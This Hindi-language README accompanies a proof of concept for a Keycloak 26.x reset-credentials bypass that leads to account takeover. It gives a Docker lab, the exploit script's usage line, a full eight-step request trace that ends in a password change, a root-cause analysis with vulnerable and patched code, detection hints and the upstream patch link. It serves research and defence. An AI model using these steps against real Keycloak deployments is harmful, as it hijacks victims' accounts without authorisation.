
PoC, Dockerfile प्लेग्राउंड और पैच डिफ़ विश्लेषण से रूट कॉज़।
Keycloak 26.x संस्करणों के परीक्षण के लिए Docker सेटअप जो reset-credentials फ्लो बायपास से प्रभावित हैं। शामिल लैब Keycloak 26.6.2 को पिन करता है, जो प्रभावित रेंज (>26.0 और <26.7.2) में है।
आवश्यकताएँ: Docker, Docker Compose, Python 3. Docker इमेज quay.io/keycloak/keycloak:26.6.2 के साथ परीक्षण किया गया।
docker compose up -d
curl http://127.0.0.1:8080
कंपोज़ फ़ाइल अस्थायी admin/admin-password-for-lab एडमिनिस्ट्रेटर के साथ Keycloak 26.6.2 शुरू करती है। एडमिन कंसोल या एडमिन REST API के माध्यम से एक टेस्ट रियल्म और उपयोगकर्ता बनाएं। रीसेट फ्लो सक्षम होना चाहिए और बिल्ट-इन reset-credential-email एक्ज़ीक्यूशन पहुंच योग्य होना चाहिए।
ATO उदाहरण:
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <ज्ञात रियल्म> --username <ज्ञात पीड़ित> \
--new-password '<pw>' \
--allow-loopback-http-cookie --change-password
लूपबैक-कुकी विकल्प केवल इस HTTP Docker लैब के लिए मौजूद है। सफल सत्यापन / शोषण
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Vulnerable: password-update form reached without email action token
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
अनप्रमाणित खाता अधिग्रहण जब फॉरगॉट पासवर्ड कमजोर बिल्ट-इन reset-credentials फ्लो का उपयोग करता है। ईमेल-पॉज़ेशन चरण को उसके एक्शन टोकन का उपभोग किए बिना सफल के रूप में चिह्नित किया जाता है, जिससे हमलावर UPDATE_PASSWORD तक आगे बढ़ता है।
दो स्टेट-मशीन दोष मिलकर काम करते हैं:
tryAnotherWay ने AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true को प्रमाणीकरण सत्र में एक वैश्विक बूलियन के रूप में संग्रहीत किया। यह उस एक्ज़ीक्यूशन से बंधा नहीं था जिसने सेलेक्टर प्रदर्शित किया, जिससे पुरानी सेलेक्टर स्थिति किसी अन्य reset-flow एक्ज़ीक्यूशन को प्रभावित कर सकती थी।ResetCredentialEmail.action() किसी भी आह्वान को स्वीकार करता था:@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
इसलिए एक निर्मित reset-flow अनुक्रम सेलेक्टर/वर्तमान-एक्ज़ीक्यूशन स्थिति में हेरफेर कर सकता है और ईमेल किए गए लिंक पर क्लिक किए बिना ईमेल प्रमाणक एक्शन को आह्वान कर सकता है। Keycloak ईमेल चरण को पूर्ण मानता है और चयनित पीड़ित के लिए पासवर्ड-अपडेट एक्ज़ीक्यूशन को उजागर करता है।
रीसेट ईमेल अभी भी उत्पन्न हो सकता है और SEND_RESET_PASSWORD लॉग किया जा सकता है। मेलबॉक्स या टोकन का कब्ज़ा आवश्यक नहीं है।
सेलेक्टर स्थिति अब सटीक एक्ज़ीक्यूशन मॉडल से बंधी है:
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
नोट हटा दिया जाता है यदि यह CURRENT_AUTHENTICATION_EXECUTION से मेल नहीं खाता। अधिक महत्वपूर्ण बात, ईमेल एक्शन अब फ्लो उपयोगकर्ता से मेल खाने वाली एक्शन-टोकन पहचान की आवश्यकता रखता है:
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services फ्लो विरासत में मिला; शोषण योग्य सेलेक्टर-स्थिति परिवर्तन 26.0.0 में पेश किया गया था।reset-credential-email पहुंच योग्य और बंधा होना चाहिए। फॉरगॉट पासवर्ड अक्षम करने से यह मार्ग रुक जाता है।Keycloak में निश्चित "ईमेल टोकन छोड़ा गया" इवेंट का अभाव है। फ्लो समय और रिवर्स-प्रॉक्सी लॉग को सहसंबंधित करें:
code_id: SEND_RESET_PASSWORD → UPDATE_PASSWORD सेकंड के भीतरtryAnotherWay सहित, पासवर्ड अपडेट से तुरंत पहलेGET /login-actions/action-token नहीं, जो एक वैध ईमेल क्लिक उत्पन्न करता हैयह अनुमानात्मक है: ईमेल पहले से खुला होने पर एक उपयोगकर्ता जल्दी से रीसेट कर सकता है, और अनुपस्थित इवेंट कुछ भी साबित नहीं करते जहां लॉगिंग/प्रतिधारण अक्षम था।
प्रमाणीकरण-फ्लो स्थिति भ्रम + बिना शर्त प्रमाणक सफलता एक कब्ज़ा जांच को बायपास करती है। सामान्य परीक्षण किनारा: जब भी एक प्रमाणीकरण एक्ज़ीक्यूशन को फिर से देखा जा सकता है, "try another way" के साथ स्विच किया जा सकता है, या पुराने URL से फिर से शुरू किया जा सकता है, सत्यापित करें कि प्रत्येक प्रमाणक साझा फ्लो स्थिति पर भरोसा करने के बजाय अपने स्वयं के प्रमाण को फिर से मान्य करता है।
अपस्ट्रीम पैच संदर्भ: https://github.com/keycloak/keycloak/pull/51844